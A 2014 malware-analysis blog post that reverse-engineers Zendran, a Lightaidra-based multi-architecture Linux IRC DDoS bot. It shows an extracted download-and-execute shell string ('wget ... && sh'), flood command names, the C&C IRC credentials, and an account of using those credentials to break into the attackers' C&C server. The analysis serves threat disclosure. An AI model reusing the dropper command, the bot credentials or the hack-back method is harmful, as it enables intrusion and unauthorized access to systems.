Sunday, May 18, 2014

MMD-0022-2014 - Zendran, Multi-Arc ELF DDoS (lightaidra ircd base) - Part 1: background, installation, reversing & CnC access

The background

There are a lot of DDoS attacks performed each day. Our systems are also being abused by these, and maybe some of you have the same shares too. MalwareMustDie analysis is focusing on malware, and recently we are raising priority to analysis aiming the UNIX or Linux platform. And, luckily one of the sample dropped this time is the multi-CPU architecture DDoS ELF tool, which is a nice topic to disclose, and we plan to disclosing this threat down to its threat root.

This is the analysis of the DDoS tool that was made based from the C code of IRCd program called Lightaidra, and aiming infection on Linux OS in x86, x64, PPC, MIPS, MIPSEL, ARM, and SuperH architectures, meaning, not only aiming servers but also linux workstations, routers and any related devices that is connecting to the global internet, to be badly utilized as a cyber attack tool to perform DDoS attack. The case is complicated and various in analysis skill set + volume, so to save time, myself and @wirehack7 are on the case to split the writing into 2 (two) parts, I, in this post do the first part contains the background, installation & reversing materials, with aiming the credentials of the CNC,, and behavior & network analysis. And the second part can be read in blog contains the CnC information, IRC details used for attacks , and the bad actor's ID/account investigation (cyber crime case) with the access is here-->[Threat analysis: Zendran ELF DDoS scheme (lightaidra ircd base) | Part 2: CnC & The bad actor]

The installation

Malware was designed to be installed via the hacking attempt that can gain the access to the shell of Linux box. Once the privilege gained, it downloads from the below IP address & URL for the downloader and installer script:


Via a one-liner shell command as per below "code"

The above codes is saving the below installation code to the file in the /var/run:

The one-liner code stated above is actually generated from the "other" shell script that we "successfully" obtained as per below code;

The summary of all these installation scheme are two jobs:
(1) Install ELF binary into a compromised system by modified wget & resolve.conf beforehand..
(2) And..execute the ELF binary, as per the architecture flavor, in the "/var/run" as per snipped data below:

We downloaded all samples and now is in Virus Total for the AV industry to do their part in making signatures to detect this threat, but below I share the x32 and x62 VT link for you:

x32 ELF | link-->[here]

   SHA256: 83c01c36ef5dc4c7faf5abb12e295e9ea43393d4567f8d20b3ad176ac53a7bac
   File name: halfnint
   Detection ratio: 7 / 50
   Analysis date: 2014-05-14 15:03:28 UTC ( 3 days, 1 hour ago )
        Antivirus            Result        Update
   Ad-Aware             Generic.Malware.G!I!!g.3A71DD58     20140514
   BitDefender          Generic.Malware.G!I!!g.3A71DD58     20140514
   Emsisoft             Generic.Malware.G!I!!g.3A71DD58 (B) 20140514
   F-Secure             Generic.Malware.G!I!!g.3A71DD58     20140514
   GData                Generic.Malware.G!I!!g.3A71DD58     20140514
   Kaspersky            HEUR:Worm.Linux.Pilkah.gen          20140514
   MicroWorld-eScan     Generic.Malware.G!I!!g.3A71DD58     20140514

x64 ELF | link-->[here]

   SHA256: 2c26e018c8615e7b8e75b8fa28dbdca6c77074927b5b9ff0a5a9c19ed24721c3
   File name: 74d53ee69bf937cfae11d079c870534f462e2f67.exe
   Detection ratio: 1 / 46
   Analysis date: 2014-05-14 15:03:26 UTC ( 3 days, 1 hour ago )
        Antivirus           Result      Update
   Qihoo-360            Trojan.Generic 20140514

The installation codes of this malware was recorded perfectly by @wirehack7, and you can see it in the video I compiled together with the summary of this section:

Binary Analysis

Since there are some options in the binaries, I picked the most familiar architecture to reverse. In this section (binary analysis), my hope is to crack all of the details related to the binary structure to be used as base in reversing and behavior analysis. Maybe there are also several information that can show us some extra information too. So I begin with the below file as per attributed as per it is during the download:

-rwxr--r--  1 mmd mmd  43671 May 12 06:02 halfnint* | ec5556e3026b98aaf0f0a7d53b1a76d6

Header Details:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                    ELF32
  Data:                     2's complement, little endian
  Version:                  1 (current)
  OS/ABI:                   UNIX - System V
  ABI Version:              0
  Type:                     EXEC (Executable file)
  Machine:                  Intel 80386
  Version:                  0x1
  Entry point address:               0x8048ed0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          35956 (bytes into file)
  Flags:                    0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         8
  Size of section headers:           40 (bytes)
  Number of section headers:         30
  Section header string table index: 27

As per previous written in MalwareMustDie blog posts on ELF analysis cases, NIX Gods are so kind to give us many default tools to analyze the badness. We can search how the binary was compiled by simply firing "file" to get the info below:
LSB executable, dynamically linked (uses shared libs), 
for GNU/Linux 2.6.18, not stripped

I was thinking of the which section to start looking into its headers:
Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]          NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4
  [ 3] NOTE            08048168 000168 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804818c 00018c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481ac 0001ac 000400 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080485ac 0005ac 000229 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080487d6 0007d6 000080 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048858 000858 000070 00   A  6   2  4
  [ 9] .rel.dyn          REL             080488c8 0008c8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080488d0 0008d0 0001e8 08   A  5  12  4
  [11] .init             PROGBITS        08048ab8 000ab8 000030 00  AX  0   0  4
  [12] .plt              PROGBITS        08048ae8 000ae8 0003e0 04  AX  0   0  4
  [13] .text             PROGBITS        08048ed0 000ed0 005fec 00  AX  0   0 16
  [14] .fini             PROGBITS        0804eebc 006ebc 00001c 00  AX  0   0  4
  [15] .rodata           PROGBITS        0804eee0 006ee0 0019d0 00   A  0   0 32
  [16] .eh_frame_hdr     PROGBITS        080508b0 0088b0 000024 00   A  0   0  4
  [17] .eh_frame         PROGBITS        080508d4 0088d4 00007c 00   A  0   0  4
  [18] .ctors            PROGBITS        08051950 008950 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08051958 008958 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        08051960 008960 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08051964 008964 0000d0 08  WA  6   0  4
  [22] .got              PROGBITS        08051a34 008a34 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08051a38 008a38 000100 04  WA  0   0  4
  [24] .data             PROGBITS        08051b38 008b38 000014 00  WA  0   0  4
  [25] .bss              NOBITS          08051b60 008b4c 10549c 00  WA  0   0 32
  [26] .comment          PROGBITS        00000000 008b4c 00002c 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 008b78 0000fc 00      0   0  1
  [28] .symtab           SYMTAB          00000000 009124 000ef0 10     29  57  4
  [29] .strtab           STRTAB          00000000 00a014 000a83 00      0   0  1

It came to my choice to pay attention to the opcodes written in .rodata and .text, many of the data from this section will come up in the reversing part. While the .dynsym contains the shared library to lead us to .gnu_version which glibc dependency version can be seen, these both information will be important for the behavior analysis later on:
 Addr: 00000000080487d6  Offset: 0x0007d6  Link: 5 (.dynsym)
  000:   0 (*local*)       2 (GLIBC_2.0)     3 (GLIBC_2.0)     4 (GLIBC_2.1)  

By the way, we need to know also which shared library used for behavior test too so I peeked into the dynamic section at the offset 0x8964 that contains 21 entries with having the shared libraries as follows:
  Tag        Type                Name/Value
 0x00000001 (NEEDED)            Shared library: []
 0x00000001 (NEEDED)            Shared library: []

Additionally, the header .symtab is showing the information of the each glibc function called, original function used and the project'Ss C files as per shown below:

Oh, wow, this is a very good information to know, later on we can compare some source codes of malware to know how is it supposed to work actually. In the mean time, let's moving on...

At this point I didn't look up to the binary strings yet, but sometimes tempted to "play luck", I fired the URL string searching made by Joxean Koret and found the CNC IP, what a lucky day! :-)

[0x00000000]> url
h00p:// // url is masked
[0x00000000]> chkurl
Checking ... UP

OK..I think I almost got everything I need to start to reverse here. In reversing the binary, fyi, I used my FreeBSD CLI (maaany tools can be used and works very fast, like hd, xxd, r2, pyew, etc) with OS X GUI reversing tools if I stuck on something, for faster trails, but I still need the Windows to write this blog and picture setting, for my eyes problem.
The details of reversing are in the next section.. Hang on!

The ELF Reversing

String analysis

Trying hard not to waste my time, since I can guess the nature of this malware, I went to the string analysis (by firing "strings") and grouped some client connection to server, in IRC protocol commands, like:

0xA67B   0xA67B     login
0xA81D   0xA81D     uport
0xA681   0xA681     cmd_login
0xAA6E   0xAA6E     cmd_logout
0xAA14   0xAA14     cmd_setchan

We won't know whether is this a server or client version until we bumped into below commands actually.. OK, it is a client one:
0xA9C1   0xA9C1     channel
0xA6CF   0xA6CF     connect_to_irc
0xA87C   0xA87C     create_irc_servlist
0xA823   0xA823     irc_requests
0xA8A8   0xA8A8     pub_requests
0xA78C   0xA78C     cmd_advscan_getpass
0xA861   0xA861     cmd_advscan_recursive
0xA895   0xA895     cmd_advscan_random
0xA9F3   0xA9F3     cmd_advscan_join
0xAA14   0xAA14     cmd_setchan

Is it the CLI base IRC program? or practically a coded-to-be an IRC BOT? This is important for checking the malicious IRC bot binary, to find the below commands as hints as bots:
PART #Auth
JOIN #LA :ping

Further, is it malicious? The below commands says more than words, I think we are dealing with flooder or booter here:
ADDR 0xA6C1   0xA6C1     flood
ADDR 0xA781   0xA781     ngackflood
ADDR 0xA92C   0xA92C     synIP
PRIVMSG %s :* .spoof   - set the source address ip spoof\n
PRIVMSG %s :* .synflood    - tcp syn flooder\n 
PRIVMSG %s :* .ngsynflood     - tcp ngsyn flooder (new generation)\n
PRIVMSG %s :* .ackflood    - tcp ack flooder\n 
PRIVMSG %s :* .ngackflood     - tcp ngack flooder (new generation)\n

And by the way this is the version of the original code used, someone looks forgot (or don't know how) to strip these strings..:
Header: .rodata: Add/Offset: 0804FD64 0000002A 
PRIVMSG %s :[version] lightaidra 0x2012.\n  


I was being asked to do whatever I can do to "reversing" the IRC credentials used by this threat's actor and other details helped to crack the CNC,to be used for the CNC & IRC bot herder's investigation. Well, OK. I opened the binary right away. The main.c file trace shown above hinted me to seek main()located in .text:08048F84 start from these opcodes:

.text:08048F84 public main
.text:08048F84 main proc near
.text:08048F84 var_30 = dword ptr -30h
.text:08048F84 var_14 = dword ptr -14h

Trolling it down, to know how the program call "daemonized" function (+hooking its pid, usual daemon stuff)
.text:08048F85        mov     ebp, esp
.text:08048F87        and     esp, 0FFFFFFF0h
.text:08048F8A        push    ebx
.text:08048F8B        sub     esp, 2Ch        ; void *
.text:08048F8E        call    daemonize
.text:08048F93        call    pidprocess
.text:08048F98        mov     ds:counter, 0

It jumped to loc_8048FD0:
.text:08048FA1        jmp     short loc_8048FD0

Which only checking the loop counter and jump to call function to check IRC server list
.text:08048FDD        mov     ds:counter, 0
.text:08048FE6        call    create_irc_servlist

Oh my, this is interesting since we can figure the server (CnC)of this IRC client, so trailing it down to the create_irc_servlist(), reversed the value back and got the data below:
.text:0804994E public create_irc_servlist
.text:0804994E create_irc_servlist proc near
.text:0804994E var_228         = dword ptr -228h
.text:0804994E var_224         = dword ptr -224h
.text:0804994E var_220         = dword ptr -220h
.text:0804994E var_20E         = dword ptr -20Eh
.text:0804994E var_E           = word ptr -0Eh
.text:0804994E var_C           = dword ptr -0Ch
.text:0804994E        push    ebp
.text:0804994F        mov     ebp, esp
.text:08049951        sub     esp, 228h       ; char *
.text:08049957        mov     [ebp+var_E], 0
.text:0804995D        mov     [esp+228h+var_220], 200h
.text:08049965        mov     [esp+228h+var_224], 0
.text:0804996D        lea     eax, [ebp+var_20E]
.text:08049973        mov     [esp+228h+var_228], eax
.text:08049976        call    _memset
.text:0804997B        nop
.text:0804997C        mov     eax, offset a178_18_16_9680

offset of a178_18_16_9680 is filled with data of:
.rodata:0804F005 a178_18_16_9680 db '',0 
↑Which are a text of an IP and a port number.

OK, we got the IP and port number, don't get too excited yet & firing anything to that network! Let's confirm what IP is that, and the binary is the best teacher for it...
Following the flow, to find those data (IP:PORT) was used to connect to IRC server, as per PoC below:

text:08048FEB        mov     [esp+30h+var_30], 2
.text:08048FF2        call    _sleep
.text:08048FF7        mov     [esp+30h+var_30], 18h
.text:08048FFE        call    _malloc
.text:08049003        mov     [esp+30h+var_14], eax
.text:08049007        mov     eax, [esp+30h+var_14]
.text:0804900B        mov     [esp+30h+var_30], eax
.text:0804900E        call    connect_to_irc

Oh well, is obvious function name anyway, so I went to the mentioned function in .text:0804A0BC and after some operations of "details" in preparing IP, ports and hostname, it tries to make connection and jump to the authentication upon success (jnz short loc_804A234) or retrying, as per coded below:
.text:0804A220        call    _connect
.text:0804A225        cmp     eax, 0FFFFFFFFh
.text:0804A228        jnz     short loc_804A234
.text:0804A22A        mov     eax, 0FFFFFFFFh
.text:0804A22F        jmp     locret_804A33D

In this part I expect some important variables like AUTH, CHANNEL, NICK, USER, PASS, whatever, see it carefully:
.text:0804A234                 call    getrstr
.text:0804A239                 mov     eax, offset aS

Fetching from offset aS which contains:
.rodata:0804F042 aS              db '%s',0 

Then similar to aS, the CHANNEL's variable is set, as per below:
.text:0804A23E        mov     [esp+48h+var_3C], offset aLa ; contains "#LA"
.text:0804A246        mov     [esp+48h+var_40], eax
.text:0804A24A        mov     [esp+48h+var_44], 1Fh
.text:0804A252        mov     [esp+48h+var_48], offset channel
.text:0804A259        call    _snprintf

Following by the offset aS_0:
mov     eax, offset aS_0 ; "->%s"
mov     [esp+48h+var_3C], offset asc_804F04E ; contains "x"
mov     [esp+48h+var_40], eax
mov     [esp+48h+var_44], 3
mov     [esp+48h+var_48], offset nt
call    _snprintf

We have two variables filled now, they are:
offset channel ; "#LA" and offset aS_0 ; "x"
This "suggests" a typical IRC command for channel joining command to channel "#LA" for me, unless you can read it otherwise. The "x" value in offset aS_0 suggesting the PREFIX (or channel mode value, which is likely not) OK.. :-)) Following..

This part is assembly of the password and send it to the connected channel..

.text:0804A284        mov     eax, [ebp+arg_0]
.text:0804A287        mov     eax, [eax]
.text:0804A289        mov     [esp+48h+var_3C], offset aEymurmyafg
      // offset aEymurmyafg contains 
         "eYmUrmyAfG" now..
.text:0804A291        mov     [esp+48h+var_40], offset aPass
      // offset aPass contains string:
        "PASS" now
.text:0804A299        mov     [esp+48h+var_44], offset aSS_0
      // Assemble those two strings to aSS_0 with:
         "%s %s\n"
.text:0804A2A1        mov     [esp+48h+var_48], eax

Connecting, checking and jumping to the next flow:
.text:0804A2A4        call    sockwrite
.text:0804A2A9        test    eax, eax
.text:0804A2AB        jz      short loc_804A2B7
.text:0804A2AD        mov     eax, 0FFFFFFFFh
.text:0804A2B2        jmp     locret_804A33D

I'll make this shorter from now, since is already 3:30am here..time zone.. If the above gone well, the nickname will be set by:

.text:0804A2B7        mov     edx, ds:data_ptr
.text:0804A2BD        mov     eax, [ebp+arg_0]
.text:0804A2C0        mov     eax, [eax]
.text:0804A2C2        mov     [esp+48h+var_40], edx
.text:0804A2C6        mov     [esp+48h+var_44], offset aNickS
  // aNickS is now contains: 
     "NICK %s\n"
.text:0804A2CE        mov     [esp+48h+var_48], eax
.text:0804A2D1        call    sockwrite
.text:0804A2D6        test    eax, eax
.text:0804A2D8        jz      short loc_804A2E1
.text:0804A2DA        mov     eax, 0FFFFFFFFh
.text:0804A2DF        jmp     short locret_804A33D

Which this offset aNickS's %s was needed to be filled in. ..And, the USER is set in:
.text:0804A2E1       mov     eax, [ebp+arg_0]
.text:0804A2E4       mov     eax, [eax]
.text:0804A2E6       mov     [esp+48h+var_44], offset aUserAssLocalho 
   // aUserAssLocalho contains data of:
      "USER ass localhost localhost :Stallion\n"...
.text:0804A2EE       mov     [esp+48h+var_48], eax
.text:0804A2F1       call    sockwrite
.text:0804A2F6       test    eax, eax
.text:0804A2F8       jz      short loc_804A301
.text:0804A2FA       mov     eax, 0FFFFFFFFh
.text:0804A2FF       jmp     short locret_804A33D

In the login() function I found the way it received the communication (bot mode) from other user, below is how to crack the request came (a@underworld) and the password used (pussy):
.text:08049319 ; initiation....
.text:08049319 login  proc near : refer to origin => cmd_login
.text:08049319 var_18          = dword ptr -18h
.text:08049319 var_14          = dword ptr -14h
.text:08049319 var_10          = dword ptr -10h
.text:08049319 var_C           = dword ptr -0Ch
.text:08049319 arg_0           = dword ptr  8
.text:08049319 arg_4           = dword ptr  0Ch
.text:08049319 ; here we go...
.text:08049319        push    ebp
.text:0804931A        mov     ebp, esp
.text:0804931C        sub     esp, 18h        ; char *
.text:0804931F        mov     eax, [ebp+arg_4]
      ; var for receiving a@underworld command..via login..
.text:08049322        mov     [esp+18h+var_14], offset a@underworld ; "@UnderWorld"
.text:0804932A        mov     [esp+18h+var_18], eax
.text:0804932D        call    _strstr
.text:08049332        test    eax, eax
.text:08049334        jz      short loc_80493A5
.text:08049336        mov     eax, [ebp+arg_4]
.text:08049339        add     eax, 0E0h
.text:0804933E        mov     [esp+18h+var_10], 5
.text:08049346        mov     [esp+18h+var_14], eax
      ; var for receiving / auth sequence next command..via login..
      ; password = pussy
.text:0804934A        mov     [esp+18h+var_18], offset aPussy ; "pussy"
.text:08049351        call    _strncmp
.text:08049356        test    eax, eax
.text:08049358        jnz     short loc_8049388
.text:0804935A        mov     eax, [ebp+arg_4]
.text:0804935D        lea     edx, [eax+1]
.text:08049360        mov     eax, [ebp+arg_0]
.text:08049363        mov     eax, [eax]
.text:08049365        mov     [esp+18h+var_C], edx
.text:08049369        mov     [esp+18h+var_10], offset channel
.text:08049371        mov     [esp+18h+var_14], offset aPrivmsgSLoginY 
      ; auth passed!! "PRIVMSG %s :[login] you are logged in, "...
.text:08049379        mov     [esp+18h+var_18], eax
.text:0804937C        call    sockwrite
.text:08049381        mov     eax, 0
.text:08049386        jmp     short locret_80493AA

Are we done here?? NO! what is the NICK used??
Seeking the assembly code I found the function getstr() function called by irc_connect() function contains the NICK allocated variable which if we trail it.. it'll lead us to below code to figured that the value returned to the NICK's "%s" is [Intel]+%s:
.text:080491CE ; getrstr() trailing cont'd...
.text:080491CE      cmp     [ebp+var_C], 9
.text:080491D2      jle     short loc_804919B
.text:080491D4      mov     edx, offset aSS ; "%s%s"
.text:080491D9      mov     eax, ds:data_ptr
.text:080491DE      lea     ecx, [ebp+var_42]
.text:080491E1      mov     [esp+78h+var_68], ecx
.text:080491E5      mov     [esp+78h+var_6C], offset aIntel ; "[Intel]"
.text:080491ED      mov     [esp+78h+var_70], edx
.text:080491F1      mov     [esp+78h+var_74], 0Fh
.text:080491F9      mov     [esp+78h+var_78], eax
.text:080491FC      call    _snprintf
.text:08049201      mov     eax, ds:data_ptr
.text:08049206      add     esp, 70h
.text:08049209      pop     ebx
.text:0804920A      pop     esi
.text:0804920B      pop     ebp
.text:0804920C      retn
.text:0804920C getrstr         endp

Reversing Result

Putting all reversed strings together, these are what I can gather for the "credentials" from reverse engineering the sample:

  IRC Server:
  IRC Port: 80
  USER: "ass localhost localhost :Stallion"
  PASS: "eYmUrmyAfG"
  NICK: "[Intel]+%s"
  Bot request LOGIN ID: "a@UnderWorld"
  Bot request AUTH PASS: "pussy"

So far so good, except..time is up.. @wirehack7 seems happy receiving these credentials, and I am not, sigh.. I usually see what is recorded in the memory's register to find what's missing (this case: the %s in the NICK name used to spoof NICK during connecting the IRC channel) and so on, which is a faster recommendation than to compare calculated value of them, but, I also suspect a function with formula (or maybe randomized) used... OK! Since the situation was: time is up and I couldn't do emulation for the registers, so I tend to do the workaround to solve parameter after [Intel] in NICK with network snapshot. In is a "C-" reversing for me if I must score myself reversing in this work..

Moving on! Why I picked the network analysis instead running it and debug the memory? I have my own reason: since this actor who made codes the binary is trying to camouflage original code of lightaidra, but it looks like he has no much skill in C programming except stripping the labels & change values of lightaidra ircd :-)), which means we can hope for "plain text traffic in http port" that looks so very delicious to me. For this analysis we will go to Network Traffic section, hold on tight!

In additional to the reversing result, for the "extra values" You can see the list of other callbacks to another domain/IP used by this malicious attacker tool I found and figured during the reversing as per table below:

Domain/IPURL/Header/CodesPurpose mov [esp+238h+var_234], offset aGetPlainHttp1_ ; "GET /plain HTTP/1.0\nHost:\n\n"Ping Back (checking internet connection?) mov [esp+48h+var_40], offset aHttp192_99_168 ; ""

.text:0804DA3C mov [esp+48h+var_44], offset aRmRfVarRunGb_s ; "rm -rf /var/run/;mv /usr/bin/-wget; /usr/bin/wget; wget -c %s/ -P /var/run && sh /var/run/ &\n "...

Download malware for updates/installation flood proc near
.text:0804E59B call setup_ip_header
.text:0804E47F mov [esp+18h+var_18], offset a192_168_3_100
.text:0804E486 call _inet_addr
Spoof local network for attack IP header
Which is likely not being found any of these IPs in the original lightaidra ircd so far..

For the two cents in reversing, please aim your target, if you get stuck on something by following several flow that means to you must do it all over again, but in "overall scope, to see what was missing there..

Behavior and Debug Analysis

It won't be much information to be grabbed in debugging mode if the program is daemonized unless we trace the daemon process(es) too, and doing that would affect the test bed, so I dropped the idea for the oerall debugging and stick to the initial behavior analysis, which is needed to check whether the binary analysis is correct in predicted the runtime environment information, since we need to PoC something from Network Traffic analysis, so we have to make sure this "garbage" can really run.

After some fail attempts and then patching libs & seeking systems that is having requirement needed in glibc functions (mentioned in binary analysis writing) and the shared library needed (mentioned also in binary analysis part), I finally can run the binary without a problem, as per shown in the debug log below, with exit group(0), I pasted below in case needed as a run PoC for traffic analysis or as reference to ID this malware by others:

execve("./nintendo", ["./nintendo"], [/* 13 vars */]) = 0
brk(0)                                  = 0x1cad000
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1789000
access("/etc/", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=55842, ...}) = 0
mmap(NULL, 55842, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f0ec177b000
close(3)                                = 0
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@\\\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=131107, ...}) = 0
mmap(NULL, 2208672, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f0ec1350000
mprotect(0x7f0ec1367000, 2093056, PROT_NONE) = 0
mmap(0x7f0ec1566000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16000) = 0x7f0ec1566000
mmap(0x7f0ec1568000, 13216, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1568000
close(3)                                = 0
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\357\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1599504, ...}) = 0
mmap(NULL, 3713112, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f0ec0fc5000
mprotect(0x7f0ec1147000, 2093056, PROT_NONE) = 0
mmap(0x7f0ec1346000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x181000) = 0x7f0ec1346000
mmap(0x7f0ec134b000, 18520, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f0ec134b000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec177a000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1779000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1778000
arch_prctl(ARCH_SET_FS, 0x7f0ec1779700) = 0
mprotect(0x7f0ec1346000, 16384, PROT_READ) = 0
mprotect(0x7f0ec1566000, 4096, PROT_READ) = 0
mprotect(0x7f0ec178b000, 4096, PROT_READ) = 0
munmap(0x7f0ec177b000, 55842)           = 0
set_tid_address(0x7f0ec17799d0)         = 29240
set_robust_list(0x7f0ec17799e0, 0x18)   = 0
futex(0x7fff9b1a7bbc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 7f0ec1779700) = -1 EAGAIN (Resource temporarily unavailable)
rt_sigaction(SIGRTMIN, {0x7f0ec1355ad0, [], SA_RESTORER|SA_SIGINFO, 0x7f0ec135f030}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x7f0ec1355b60, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7f0ec135f030}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f0ec17799d0) = 29245
↑please noted I used the x64 binary for this test..

Network Traffic

The point of the network traffic analysis is to seek the NICK values and to check in details of the botnet CNC protocol (in IRC protocol, obviously) used. This information will be used by us to compromise the bad actor's network to grab the further details about the Bot Herder networking and his ID.

The overall traffic is as per below picture:

Be noted that, most of the IRC is not running on port 80. So the wireshark stamped capture I made in tcpdump as "Continuation or Non-HTTP traffic" :-)

In every TCP stream, the CNC communication "protocol" is as per expected (plain text) which is shown in a set of a success request & response commands under one session of connection via this malware as soon as it runs as per below capture:

↑You can see there the herder's IRC handle names: Izan and StyxCoD, with the "further deeper information" can be read more in the "Part Two", and the values of the IRC connections we figured in reversing part are correct afterall.

The CNC's "HELO" or initial Protocol is indeed as per following format:

PASS "eYmUrmyAfG"
NICK "[Intel]pyy3zyw"
USER "ass localhost localhost :Stallion"
( Replies from CNC - Redacted )
PART "#Auth"
JOIN "#LA :ping"
( Replies from CNC - Redacted )

And yes, now we can now "confirm" the NICK command used now, as "[Intel]pyy3zyw". My mission is now accomplished :-)

The CnC Investigation, Attacker PoC & Bad Actor analysis

Our friend @wirehack7 is writing this section's good analysis in his blog here--->[Threat analysis: Zendran ELF DDoS scheme (lightaidra ircd base) | Part 2: CnC & The bad actor]
Using the credential information investigated in this post, the CNC was compromised and there are a lot of data grabbed for the cyber criminal investigation.
All of the materials and PoC in "The Part Two" post I supervised, checked and confirmed accordingly. The report and image snapshot provided are compiled in a way that can be used as cyber crime evidence, and since one of the bad actor looks living in Jacksonville, United States (+ he is in the deep trouble now), the materials will very useful to be used by FBI to open investigation against them :-))

The method of this investigation is shared to "inspire" people who are fighting against DDoS sources, and hopefully this method can be useful to reduce similar threat's source.

Additionally, looks like we hit a jackpot, some moronz in the mentioned CnC account yelled "ouch! in twitter to us ;-)

Moral of Story

This ELF evil tool was built by amateur malware coder..judging by the codes and the way it was compiled, and I am sure they are "skids" in level (sorry for that "ouch" words but this malcoder deserved it). We need to, and obligated to make sure these actors won't go far with making such tools and hacking other's host to install it and use it to attack to another network. Right now, as per seen in the "Part Two" they are opening campaign of tutoring this attack tool in youtube video and that is never be good.

The multi architecture aimed in binary types shown in the malware installer script is making us really worry. I know some routers, or PLC devices with the ssh which run in global environments under same GLIBC version, or some linux computers or several game boxes under those chipsets which running the libraries too. This malware can aim those architectures mentioned, and one can get so surprised if finding his routers, servers, PLC control panels or game boxes, (or maybe Televisions!) being used for DDoS attack right?

I really hope this case can be followed well by law enforcement to start opening a new cyber crime investigation.

Samples are all in VT, sharing downloads will be started in a while, first, give us time to clean up our work dusts..we really spent much time finishing writing these posts and the case's bad actor's fighting is on going too.

Stay safe, folks! #MalwareMustDie!